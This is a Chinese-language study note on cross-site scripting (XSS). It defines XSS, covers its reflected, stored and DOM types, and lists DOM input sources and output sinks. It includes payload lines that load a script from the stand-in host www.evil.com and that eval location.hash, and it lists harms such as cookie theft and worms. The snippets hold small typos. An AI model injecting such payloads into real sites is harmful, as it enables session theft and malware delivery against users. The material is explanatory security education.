第三章-XSS
内容纲要
跨站脚本 Cross Site Scripting
3.1 XSS概述
跨站脚本 Cross Site Scripting
发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行的时候,XSS就会发生。
定义关键点有三:
- 目标网站的目标用户:强调场景。
- 浏览器:浏览器会严格执行共同约定的同源策略,不符合约定的就不会执行。
- 不被预期的:那么很可能就是攻击者在输入是提交了可控的脚本内容,而后输出后被浏览器解析执行
1.脚本
<script src="http://www.evil.com/xss.js"><script>
引用第三方域上的脚本资源。
有时,并不按照浏览器允许的策略执行(同源策略),如此称之为跨域脚本,突破的是浏览器的同源策略。 即真正的跨站
<script>
eval(location.hash.subnstr(1));
</script>
直接运行无效果,eval动态执行的是location.hash中的值,即地址栏URL后跟着的#xxx这段内容。
简而言之:XSS所做的就是想尽一切办法将脚本内容在目标网站中目标用户的浏览器上执行~
3.2 XSS类型
- 反射型XSS
发出请求时,XSS代码会出现在URL中,作为输入提交到服务端,服务端解析后响应,在响应内容中会出这段XSS代码,最后浏览器解析执行。
过程如同一次反射,故称反射型XSS。 - 储存型XSS
提交的XSS代码会存储在服务端(无论数据库、内存、文件系统),下次请求页面不需要再次提交XSS代码。:最隐蔽。 - DOM型XSS
触发XSS靠的是浏览器DOM解析。(可认为是完全客户端行为)
有常见输入点如下:
document.URL
document.URLUnencoded
document.location(及location多个属性) document.referrer
window.location(及location多个属性)
window.name
xhr请求回来的数据
document.cookie
表单项的值。
常见输出点:
直接输出HTML内容:
document.write(...)
document.writeln(...)
document.body.innerHtml=...
直接修改DOM树,(包括DHTMl事件)
document.forms[0].action=...(及其他集合如一些对象的src/href属性等)
替换document URL
document.location=...(及直接赋值给location的href,host,hostname等属性)
打开或修改新窗口
document.open(...)
直接执行脚本
eval(...)
3.3 出现点
支持JavaScript解析和HTML解析的位置。
不同的域范围内执行的XSS权限不一样。(Internet域、本地域、特殊域(浏览器的功能界面及插件层面))
3.4 危害
- 挂马
- 盗Cookie
- DoS客户端浏览器
- 钓鱼
- 写针对性的XSS病毒
- 劫持用户Web行为
- 爆发Web2.0蠕虫
- 蠕虫式的DDOS攻击
- 蠕虫式挂马、刷流量
综上:其实XSS作用并非那么明显,主要还是作为下一步攻击的条件。